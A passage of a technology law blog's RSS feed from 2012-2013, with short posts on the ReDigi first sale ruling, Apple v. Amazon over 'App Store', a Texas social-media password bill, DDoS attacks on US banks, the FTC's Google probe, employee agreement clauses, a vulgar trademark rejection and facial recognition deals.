&lt;p&gt;The First Sale Doctrine is codified in Section 109(a) of the Copyright Act and states in pertinent part: &amp;quot;...the owner of a particular copy or phonorecord lawfully made under this title, or any person authorized by such owner, is entitled, without the authority of the copyright owner, to sell or otherwise dispose of the possession of that copy or phonorecord.&amp;quot;&lt;/p&gt;
&lt;p&gt;The Court held that ReDigi had several problems under this provision.&amp;nbsp; First, it said that ReDigi had violated Capitol's reproduction rights (another right under the Copyright Act), therefore it was not &amp;quot;lawfully made under this title&amp;quot;.&amp;nbsp; The Court also said that the Act only protects distribution by the owner of a &lt;strong&gt;&lt;em&gt;particular &lt;/em&gt;&lt;/strong&gt;copy or phonorecord...of &lt;strong&gt;&lt;em&gt;that&lt;/em&gt;&lt;/strong&gt; copy or phonorecord&amp;quot;. (Emphasis added by Court).&amp;nbsp; So, the transfer of the files requires copying on ReDigi's server, which violates the reproduction rights and because the sale is not a sale of that &lt;em&gt;&lt;strong&gt;particular&lt;/strong&gt;&lt;/em&gt; copy, the first sale doctrine does not provide a defense.&amp;nbsp; The Court specifically said that the first sale defense is limited to &amp;quot;physical&amp;quot; items.&amp;nbsp; To comply with this, you would have to sell and transfer your computer or MP3 player with the file on it.&lt;/p&gt;
&lt;p&gt;This ruling was part of an opinion resulting from Capitol's Motion For Summary Judgment and other matters still remain to be decided, but the Court left little doubt about where it stood on this issue.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/UaMwumsvE-I" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/UaMwumsvE-I/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/04/articles/court-becomes-particular-about-first-sale-doctrine-and-therefore-you-can-never-resell-your-digital-music/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/tags">Capitol</category><category domain="http://www.austintechnologylawblog.com/">Copyright</category><category domain="http://www.austintechnologylawblog.com/tags">ITunes</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/articles">Internet</category><category domain="http://www.austintechnologylawblog.com/articles">Legislation</category><category domain="http://www.austintechnologylawblog.com/tags">ReDigi</category><category domain="http://www.austintechnologylawblog.com/tags">digital music</category><category domain="http://www.austintechnologylawblog.com/tags">first sale doctrine</category>
         <pubDate>Thu, 25 Apr 2013 15:13:10 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/04/articles/court-becomes-particular-about-first-sale-doctrine-and-therefore-you-can-never-resell-your-digital-music/</feedburner:origLink></item>
            <item>
         <title>New Location.  Same Great Service.</title>
         <description>&lt;p&gt;&lt;img width="520" height="376" align="middle" alt="" src="http://www.austintechnologylawblog.com/uploads/image/Move Announcement-2013(1).jpg" /&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/uL8eGGOW6bc" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/uL8eGGOW6bc/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/02/articles/new-location-same-great-service/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category>
         <pubDate>Sat, 16 Feb 2013 12:59:56 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/02/articles/new-location-same-great-service/</feedburner:origLink></item>
            <item>
         <title>The War Over "App Store" Continues.  Amazon Wins One of the Battles.</title>
         <description>&lt;p&gt;We have previously written about the contentious nature of the battle among Apple, Amazon, &lt;img width="250" height="188" border="5" align="right" src="http://www.austintechnologylawblog.com/uploads/image/appstore.gif" alt="" /&gt;Microsoft and others in regard to the use of the term &amp;quot;App Store&amp;quot;.&amp;nbsp; See &lt;a href="http://www.austintechnologylawblog.com/2011/04/articles/amazoncom-seeks-to-form-app-store-apple-says-not-so-fast/"&gt;here&lt;/a&gt; and &lt;a href="http://www.austintechnologylawblog.com/2011/05/articles/whole-bunch-of-folks-gang-up-on-apple-to-try-to-make-app-store-available-to-everybody/"&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;One of the salvos launched by Apple in its suit against Amazon involved a claim for false advertising.&amp;nbsp; Amazon moved for summary judgment on this claim and on the first business day of the new year, &lt;a href="http://articles.law360.s3.amazonaws.com/0404000/404075/Apple%20Inc.%20v.%20Amazon.com%20Inc.pdf"&gt;the United States District Court for the Northern District of California granted Amazon partial summary judgment.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The Court found &amp;quot;..Apple has failed to establish that Amazon made any false statement (express or implied) of fact that actually deceived or had the tendency to deceive a substantial segment of its audience. The mere use of &amp;ldquo;Appstore&amp;rdquo; by Amazon to designate a site for viewing and downloading/purchasing apps cannot be construed as a representation that the nature, characteristics, or quality of the Amazon Appstore is the same as that of the Apple APP STORE.&amp;quot;&lt;/p&gt;
&lt;p&gt;The Court held that &amp;quot;...if an advertisement is not false on its face (i.e., if there is no express or explicit false statement), the plaintiff must produce evidence, usually in the form of market research or consumer surveys,showing exactly what message was conveyed that was sufficient to constitute false advertising.&amp;quot;&amp;nbsp; Apple failed to do so in this case.&amp;nbsp; Round one to Amazon.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/PpAXGvhBZWM" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/PpAXGvhBZWM/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/01/articles/the-war-over-app-store-continues-amazon-wins-one-of-the-battles/</guid>
         <category domain="http://www.austintechnologylawblog.com/tags">Amazon</category><category domain="http://www.austintechnologylawblog.com/tags">App Store</category><category domain="http://www.austintechnologylawblog.com/tags">Apple</category><category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/articles">Internet</category><category domain="http://www.austintechnologylawblog.com/tags">Microsoft</category><category domain="http://www.austintechnologylawblog.com/articles">Trademarks</category><category domain="http://www.austintechnologylawblog.com/tags">appstore</category>
         <pubDate>Fri, 18 Jan 2013 12:48:52 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/01/articles/the-war-over-app-store-continues-amazon-wins-one-of-the-battles/</feedburner:origLink></item>
            <item>
         <title>Bill Introduced In Texas Legislature To Prohibit Employer From Asking You About Your Social Media Password.</title>
         <description>&lt;p&gt;Having solved all the other problems in Texas, including the problem of gun violence&lt;a href="http://blog.seattlepi.com/seattlepolitics/2013/01/17/gov-perrys-solution-prayer-not-gun-control/"&gt; (prayer)&lt;/a&gt; and &lt;img width="250" height="271" border="5" align="right" alt="" src="http://www.austintechnologylawblog.com/uploads/image/faketweet.png" /&gt;the problem of uninsured citizens&lt;a href="http://www.khou.com/news/national/187174271.html"&gt; (cutting Medicaid)&lt;/a&gt; the Texas legislature has turned to the burning issue of employers requiring employees to provide access information to employee's private social media accounts.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.capitol.state.tx.us/BillLookup/Text.aspx?LegSess=83R&amp;amp;Bill=HB318"&gt;House Bill 318&lt;/a&gt; has been introduced to make it an &amp;quot;unfair employment practice&amp;quot; if an employer &amp;quot;...requires or requests that an employee or applicant for employment disclose a user name, password, or other means for accessing a personal account of the employee or applicant, including a personal e-mail account or a social networking website account or profile, through an electronic communication device.&amp;quot;&lt;/p&gt;
&lt;p&gt;This bill still allows &amp;quot;monitoring&amp;quot; employee usage of employer provided media and also allows employer policies prohibiting use of company provided resources for personal use.&amp;nbsp; It doesn't provide for a specific remedy or a damages cap and it will likely be amended substantially before it passes, if it passes at all.&amp;nbsp; This would make Texas one of a handful of states that has jumped on this burning issue.&amp;nbsp; Crisis averted.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/ncCWYn39Otk" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/ncCWYn39Otk/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/01/articles/bill-introduced-in-texas-legislature-to-prohibit-employer-from-asking-you-about-your-social-media-password/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Data Privacy</category><category domain="http://www.austintechnologylawblog.com/tags">Facebook</category><category domain="http://www.austintechnologylawblog.com/articles">Internet</category><category domain="http://www.austintechnologylawblog.com/articles">Legislation</category><category domain="http://www.austintechnologylawblog.com/articles">Mobile Phones</category><category domain="http://www.austintechnologylawblog.com/articles">Social Networks</category><category domain="http://www.austintechnologylawblog.com/tags">Texas</category><category domain="http://www.austintechnologylawblog.com/tags">linkedin</category><category domain="http://www.austintechnologylawblog.com/tags">password</category><category domain="http://www.austintechnologylawblog.com/tags">twitter</category>
         <pubDate>Thu, 17 Jan 2013 12:40:21 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/01/articles/bill-introduced-in-texas-legislature-to-prohibit-employer-from-asking-you-about-your-social-media-password/</feedburner:origLink></item>
            <item>
         <title>We Are In The Midst Of a Hot Cyberwar, Make No Mistake About It.  Iran Fires The Latest Salvo (That We Know Of).</title>
         <description>&lt;p&gt;In December of last year, several banks' (Bank of America, Citigroup, Wells Fargo, U.S. Bancorp, &lt;img width="250" height="188" border="5" align="right" src="http://www.austintechnologylawblog.com/uploads/image/american-computer-hacker.jpg" alt="" /&gt;PNC, Capital One, Fifth Third Bank, BB&amp;amp;T and HSBC) websites were inundated by DDoS (distributed denial of service) attacks.&amp;nbsp; DDoS attacks generally do not seek to penetrate the sites or to obtain information or steal anything but try to overwhelm the capacity of the website to respond to the traffic directed toward them.&amp;nbsp; The attacks in December were launched by an entity that had access to multiple computers, such as in a data center, and exceeded the capabilities usually found in your standard run of the mill hackers.&lt;/p&gt;
&lt;p&gt;Today, the &lt;a href="http://www.nytimes.com/2013/01/09/technology/online-banking-attacks-were-work-of-iran-us-officials-say.html?hpw&amp;amp;_r=0"&gt;New York Times ran an article that lays the attacks at the doorstep of Iran&lt;/a&gt;.&amp;nbsp; An independent hacker group called Izz ad-Din al-Qassam Cyber Fighters has tried to take credit for the attack, saying it was retaliation for the anti-Muslim movie that prompted riots throughout the Muslim world and which was involved in the Benghazi consulate attack.&amp;nbsp; Izz ad-Din al-Qassam called it Operation Ababil, referring to &lt;a href="http://en.wiktionary.org/wiki/Ababil"&gt;Allah sending birds to drop bricks on elephants sent by the King of Yemen to Mecca&lt;/a&gt;.&amp;nbsp; However, U.S. officials think it is the work of Iran and is in retaliation for economic sanctions and the release by the U.S. and/or Israel of the &lt;a href="http://www.austintechnologylawblog.com/2011/01/articles/stuxnet-military-malware/"&gt;Stuxnet,&lt;/a&gt; &lt;a href="http://www.austintechnologylawblog.com/2012/05/articles/cyberwar-enters-the-next-phase-move-over-stuxnet-and-duqu-here-comes-flame/"&gt;Flame&lt;/a&gt; and &lt;a href="http://www.austintechnologylawblog.com/2011/11/articles/move-over-stuxnet-here-comes-duqu-son-of-stuxnet-stuxnet-20-or-demon-spawn/"&gt;DuQu&lt;/a&gt; malware.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Whatever it is, the DDoS attacks spewed 70 gigabits per second at the sites, which included a new wrinkle involving requests for encryption, and which adversely affected the sites' performance.&amp;nbsp; The attacks used a readily available malware toolkit called &lt;a href="http://www.infosecurity-magazine.com/view/30053/dissection-of-itsoknoproblembro-the-ddos-tool-that-shook-the-banking-world/"&gt;Itsoknoproblemobro&lt;/a&gt;.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;It is certain that the attacks that we have heard of are only the tip of the malware iceberg and it is probably as certain that these attacks and counterattacks will continue to escalate.&amp;nbsp; Warriors on the front lines of these wars will be keyboard commandos and may someday sport the malware marksman ribbon on their dress uniforms.&amp;nbsp; This is war.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/QtjXAvncV5U" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/QtjXAvncV5U/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/01/articles/we-are-in-the-midst-of-a-hot-cyberwar-make-no-mistake-about-it-iran-fires-the-latest-salvo-that-we-know-of/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Cloud Computing</category><category domain="http://www.austintechnologylawblog.com/tags">DDoS</category><category domain="http://www.austintechnologylawblog.com/articles">Data Privacy</category><category domain="http://www.austintechnologylawblog.com/tags">DuQu</category><category domain="http://www.austintechnologylawblog.com/tags">Flame</category><category domain="http://www.austintechnologylawblog.com/articles">Internet</category><category domain="http://www.austintechnologylawblog.com/tags">Itsoknoproblembro</category><category domain="http://www.austintechnologylawblog.com/">Legal</category><category domain="http://www.austintechnologylawblog.com/tags">Stuxnet</category><category domain="http://www.austintechnologylawblog.com/tags">cyberwar</category><category domain="http://www.austintechnologylawblog.com/tags">denial of service</category>
         <pubDate>Wed, 09 Jan 2013 16:32:12 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/01/articles/we-are-in-the-midst-of-a-hot-cyberwar-make-no-mistake-about-it-iran-fires-the-latest-salvo-that-we-know-of/</feedburner:origLink></item>
            <item>
         <title>FTC Concludes Investigation Into Google's Search Practices, Finds Nothing Much Wrong There.  Hey, Google It If You Don't Believe It!</title>
         <description>&lt;p&gt;The Federal Trade Commission has been investigating Google's practices in regard to patent &lt;img width="250" height="250" border="5" align="right" src="http://www.austintechnologylawblog.com/uploads/image/ftc.jpg" alt="" /&gt;licensing, search results and other matters for about two years.&amp;nbsp; The FTC sought to determine if Google's practices in these regards were anti-competitive.&amp;nbsp; The &lt;a href="http://www.ftc.gov/os/closings/comm/130103googlesearchletter.pdf"&gt;FTC ended their investigation&lt;/a&gt; the first week of this year and &lt;a href="http://www.ftc.gov/os/2013/01/130103googleletterchairmanleibowitz.pdf"&gt;entered into an agreement with Google&lt;/a&gt; in exchange for the FTC agreeing not to pursue the matter further.&lt;/p&gt;
&lt;p&gt;Part of the analysis by the FTC was a investigation into whether Google manipulated its search algorithms such that websites that competed with Google's &amp;quot;vertical&amp;quot; results (i.e. sponsored Google sites) were moved down in the search results with concomitant&amp;nbsp; damages to the click through rate to such competing sites.&amp;nbsp; The &lt;a href="http://www.ftc.gov/os/2013/01/130103googlesearchstmtofcomm.pdf"&gt;FTC found that even though&lt;/a&gt; &amp;quot;...some of Google&amp;rsquo;s rivals may have lost sales due to an improvement (sic) in Google&amp;rsquo;s product...(t)he totality of the evidence indicates that, in the main, Google adopted the design changes that the Commission investigated to improve the  &lt;img width="250" height="104" border="5" align="right" src="http://www.austintechnologylawblog.com/uploads/image/google.jpg" alt="" /&gt;quality of its search results, and that any negative impact on actual or potential competitors was incidental to that purpose.&amp;quot;&amp;nbsp; &lt;a href="http://www.ftc.gov/opa/2013/01/google.shtm"&gt;The Commission went on to say&lt;/a&gt; &amp;quot;...these changes to Google&amp;rsquo;s search algorithm could reasonably be viewed as improving the overall quality of Google&amp;rsquo;s search results because the first search page now presented the user with a greater diversity of websites.&amp;quot;&lt;/p&gt;
&lt;p&gt;Needless to say, not all were enamored with the FTC's actions.&amp;nbsp; &lt;a href="http://www.eweek.com/mobile/googles-ftc-settlement-criticized-by-rivals-microsoft-yelp/"&gt;Microsoft, having been kicked around by the FTC for years, bemoaned the actions as &amp;quot;weak&amp;quot;&lt;/a&gt;.&amp;nbsp; &lt;a href="http://www.slate.com/blogs/future_tense/2013/01/03/google_antitrust_settlement_why_the_ftc_cleared_google_of_search_bias_claims.html"&gt;Others found it to be totally justified.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Whatever your view, this is a win for Google and clears up their docket to proceed with their pursuit of world domination.&amp;nbsp; Not that there's anything wrong with that.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/xlH2bISc6DU" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/xlH2bISc6DU/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/01/articles/ftc-concludes-investigation-into-googles-search-practices-finds-nothing-much-wrong-there-hey-google-it-if-you-dont-believe-it/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Corporations</category><category domain="http://www.austintechnologylawblog.com/articles">Data Privacy</category><category domain="http://www.austintechnologylawblog.com/tags">FTC</category><category domain="http://www.austintechnologylawblog.com/tags">Federal Trade Commission</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/articles">Internet</category><category domain="http://www.austintechnologylawblog.com/articles">Legislation</category><category domain="http://www.austintechnologylawblog.com/articles">Patents</category><category domain="http://www.austintechnologylawblog.com/tags">google</category><category domain="http://www.austintechnologylawblog.com/tags">monopoly</category><category domain="http://www.austintechnologylawblog.com/tags">search</category>
         <pubDate>Mon, 07 Jan 2013 12:11:42 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/01/articles/ftc-concludes-investigation-into-googles-search-practices-finds-nothing-much-wrong-there-hey-google-it-if-you-dont-believe-it/</feedburner:origLink></item>
            <item>
         <title>Are Confidentiality Provisions and I.P. Assignment Clauses In Employee Agreements To Be Treated Like Non-Compete Provisions?  South Carolina Supreme Court Says No.</title>
         <description>&lt;p&gt;Almost every technology company of any variety has a couple of standard provisions in the &lt;img width="250" height="238" border="5" align="right" alt="" src="http://www.austintechnologylawblog.com/uploads/image/confidential.jpg" /&gt;documents that their employees sign as part of the employment on-boarding process.&amp;nbsp; Those are, of course, provisions that require the employee not to divulge certain information that they learn as a result of their employment and that provide that any intellectual property developed by the employee during the employment (and often for a period thereafter) and based on information provided by the employer, belongs to the employer.&amp;nbsp; Some agreements also contain non-compete provisions, which purport to prohibit the employee from engaging in certain kinds of employment activity after the present gig ends.&lt;/p&gt;
&lt;p&gt;Mr. Morin went to work for Milliken &amp;amp; Company in South Carolina as a research physicist and worked for Milliken for nine years developing fibers.&amp;nbsp; Apparently, Mr. Morin began to make plans for his own company prior to leaving the employee of Milliken and filed for a patent on a new fiber within a few months after resigning from Milliken.&amp;nbsp; Milliken thought such behavior was untoward and filed a suit against Mr. Morin for breach of the confidentiality provisions and the breach of invention assignment provisions in his employee contract, among other things.&lt;/p&gt;
&lt;p&gt;The appeal of this case recently found its way to the Supreme Court of South Carolina.&amp;nbsp; One of Mr. Morin's principal arguments was that the confidentiality provisions and the assignment of inventions provision were restraints of trade and as such, should be reviewed under the same standard as a non-compete provision, i.e. not favored by the courts and construed against the employer unless certain very stringent requirement were met.&lt;/p&gt;
&lt;p&gt;The &lt;a href="http://scholar.google.com/scholar_case?case=7635920011252273549&amp;amp;hl=en&amp;amp;as_sdt=2&amp;amp;as_vis=1&amp;amp;oi=scholarr"&gt;South Carolina Supreme Court disagreed with Mr. Morin&lt;/a&gt; and found that such provisions (confidentiality and invention assignment) were not restraints of trade and as such, were to be reviewed under the reasonableness standard, i.e. to be enforced as an ordinary contract provision unless the provisions exceeded what was necessary to protect the legitimate interests of the employer.&amp;nbsp; The court held: &amp;quot;We therefore hold confidentiality and invention assignment clauses are not in restraint of trade and should not be strictly construed in favor of the employee.&amp;quot;&lt;/p&gt;
&lt;p&gt;This confirms what most of us in this industry believed to be the law and should make it easier for well crafted provisions of this nature to be enforced in the future.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/UfnRhJEmmbs" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/UfnRhJEmmbs/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/01/articles/are-confidentiality-provisions-and-ip-assignment-clauses-in-employee-agreements-to-be-treated-like-noncompete-provisions-south-carolina-supreme-court-says-no/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/">Copyright</category><category domain="http://www.austintechnologylawblog.com/articles">Corporations</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/articles">Patents</category><category domain="http://www.austintechnologylawblog.com/articles">Startups</category><category domain="http://www.austintechnologylawblog.com/articles">Trademarks</category><category domain="http://www.austintechnologylawblog.com/tags">confidentiality</category><category domain="http://www.austintechnologylawblog.com/tags">invention assignment clauses</category><category domain="http://www.austintechnologylawblog.com/tags">noncompete agreements</category>
         <pubDate>Thu, 03 Jan 2013 14:18:38 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/01/articles/are-confidentiality-provisions-and-ip-assignment-clauses-in-employee-agreements-to-be-treated-like-noncompete-provisions-south-carolina-supreme-court-says-no/</feedburner:origLink></item>
            <item>
         <title>USPTO Comes Down Squarely Somewhere On the Sliding Scale of Scandoulousity.  Why Is C**ksucker More "Scandalous" Than Big P*cker?</title>
         <description>&lt;p&gt;Section 15 U.S.C. &amp;sect; 1052(a) prohibits the registration of a trademark that is &amp;quot;...immoral, deceptive, &lt;img width="250" height="365" border="5" align="right" src="http://www.austintechnologylawblog.com/uploads/image/USPTO.jpg" alt="" /&gt;or scandalous&amp;quot;.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;In September of 2001, Ms. Marsha Fox, an enterprising marketeer, applied for a trade mark for &amp;quot;Cock Sucker&amp;quot; accompanied with a picture of a male chicken.&amp;nbsp; This mark was to be applied to a chocolate candy sucker shaped like a rooster.&amp;nbsp; The target market was likely followers of college teams with Game Cocks as a mascot, such as the University of South Carolina, who have displayed a consistent fetish with double entendres relating to the work &amp;quot;cock&amp;quot; even though the original reference was to a &lt;a href="http://en.wikipedia.org/wiki/South_Carolina_Gamecocks"&gt;Revolutionary War hero, Thomas Sumter, for his small size and fierce attitude&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The USPTO rejected the application by finding that it was scandalous or vulgar.&amp;nbsp; The USPTO recognized that there was a non-vulgar meaning to the phrase but that the vulgar meaning was so egregious that it overrode the right of the applicant to register the mark.&amp;nbsp; This was true even though &lt;a href="http://thettablog.blogspot.com/2011/11/anne-gilson-lalonde-scandalousness.html"&gt;the USPTO has allowed such marks as &amp;quot;Big Pecker&amp;quot;, &amp;quot;Tits&amp;quot;, &amp;quot;Big Cock Ranch&amp;quot; and &amp;quot;Cock Rub&amp;quot;&lt;/a&gt;.&amp;nbsp; The Court neglected to consider that an alternate meaning to Cock Sucker might be to refer to the people who shell out good money to purchase such a confection, although I am sure they are preferred party favors at fraternity parties all over Columbia.&lt;/p&gt;
&lt;p&gt;Right before the holidays, the &lt;a href="http://courtlistener.com/cafc/5aWX/in-re-marsha-fox/"&gt;Court of Appeals for the Federal Circuit upheld the USPTO's rejection,&lt;/a&gt; including rejecting a First Amendment argument because the court reasoned that the applicant could still use the mark, she just couldn't register and protect it.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;So, where does this leave the aspiring applicant of a killer mark that has both a scandalous and non-scandalous meaning?&amp;nbsp; Good question.&amp;nbsp; If you can make a distinction on any of these, it would seem that if it is listed in the Urban Dictionary as a sex act, it is in peril.&amp;nbsp; If it is only a reference to a body part, maybe a little safer.&amp;nbsp; The USPTO will let you know when they see it.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/miao6C7y5dY" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/miao6C7y5dY/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/01/articles/uspto-comes-down-squarely-somewhere-on-the-sliding-scale-of-scandoulousity-why-is-cksucker-more-scandalous-than-big-pcker/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/articles">Legislation</category><category domain="http://www.austintechnologylawblog.com/articles">Trademarks</category><category domain="http://www.austintechnologylawblog.com/tags">USPTO</category><category domain="http://www.austintechnologylawblog.com/tags">cock sucker</category><category domain="http://www.austintechnologylawblog.com/tags">cocksucker</category><category domain="http://www.austintechnologylawblog.com/tags">vulgar trademark</category>
         <pubDate>Wed, 02 Jan 2013 13:24:03 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/01/articles/uspto-comes-down-squarely-somewhere-on-the-sliding-scale-of-scandoulousity-why-is-cksucker-more-scandalous-than-big-pcker/</feedburner:origLink></item>
            <item>
         <title>UPDATE: Ownership of Company's Twitter Account: Company vs. Employee</title>
         <description>&lt;p&gt;Almost a year ago, &lt;a href="http://www.austintechnologylawblog.com/2011/12/articles/who-owns-your-social-media-account-you-or-your-employer/"&gt;we mentioned the unusual case of PhoneDog v. Kravitz,&lt;/a&gt; where a former employee&lt;img width="250" height="234" border="5" align="right" src="http://www.austintechnologylawblog.com/uploads/image/TWEET.jpg" alt="" /&gt; was sued by his former employer for $340,000, which amounted to $2.50 per Twitter follower that the employee took when he left the company.&lt;/p&gt;
&lt;p&gt;We indicated that this was a gray area and developing.&amp;nbsp; So, how did PhoneDog v. Kravitz enlighten us on the rules for this situation?&amp;nbsp; Exactly none.&amp;nbsp; &lt;a href="http://mashable.com/2012/12/03/noah-kravitz-lawsuit-twitter/"&gt;Mashable reports that the parties have settled after months of mediation&lt;/a&gt;.&amp;nbsp; Settlement terms are confidential but apparently Mr. Kravitz retained the Twitter followers and there was no indication of money changing hands.&lt;/p&gt;
&lt;p&gt;Where does this leave us?&amp;nbsp; Back at square one but with some lessons learned.&amp;nbsp; For example, if ownership and control of Twitter accounts is important to your business, state in the employment contract or the employee manual that such accounts belong to the company.&amp;nbsp; Eliminate any drama by addressing the issue head on.&amp;nbsp; #commonsense&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/zJ4nhD_7BR8" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/zJ4nhD_7BR8/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2012/12/articles/update-ownership-of-companys-twitter-account-company-vs-employee/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Corporations</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/articles">Internet</category><category domain="http://www.austintechnologylawblog.com/tags">Kravitz</category><category domain="http://www.austintechnologylawblog.com/">Legal</category><category domain="http://www.austintechnologylawblog.com/articles">Mobile Phones</category><category domain="http://www.austintechnologylawblog.com/tags">PhoneDog</category><category domain="http://www.austintechnologylawblog.com/articles">Social Networks</category><category domain="http://www.austintechnologylawblog.com/tags">twitter</category>
         <pubDate>Tue, 11 Dec 2012 14:42:38 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2012/12/articles/update-ownership-of-companys-twitter-account-company-vs-employee/</feedburner:origLink></item>
            <item>
         <title>In Your Face, Privacy!</title>
         <description>&lt;p&gt;I'm lazy. That's the only answer I can come up with. There are coupon, discount, and &amp;quot;my awesome&lt;img src="http://www.austintechnologylawblog.com/uploads/image/facedeal.jpg" width="251" height="167" vspace="2" hspace="2" border="2" align="right" alt="" /&gt; deal&amp;quot; websites cluttering my inbox every morning, and for the life of me I can't seem to remember or care enough to take advantage of all this free money.&amp;nbsp;I'm not a technophobe - far from it. I've used Google deals, Facebook deals, aDealio, and Groupon when I'm getting a massage, sometimes a car wash, or when I'm all out of ideas for lunch. But with all the deals out there part of me has given up and decided it's easier to pay the extra 15% rather than wade through all those sites.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Enter my savings savior, Red Pepper and their new facial recognition software,&amp;nbsp;&lt;a href="http://redpepperland.com/lab/details/check-in-with-your-face"&gt;Facedeals&lt;/a&gt;. Facedeals, proposes to assist with my Facebook check-ins by performing a facial recognition match by way of their fancy, magic camera box. Through this facial sorcery, I'm automatically checked in and then I'm sent a text with the available deals. Fantastic! Right?!&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;With the exception of the two weeks of SXSW, I can never muster the strength of summoning Foursquare or Facebook to let my friends know where I am or what deals might be around the corner. Finally, I can end the torture that is unlocking my iphone, finding the check-in app, finding the right location, and thinking of something witty to say ... then doing it all over again with my deal app. Yes, this type of laziness falls under the&lt;a href="http://first-world-problems.com/"&gt; first world problem &lt;/a&gt;category, but the thing is, that's probably what it's going to take for me to actually redeem that coupon for 10% off all fish taco appetizers (on every 3rd Tuesday).&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
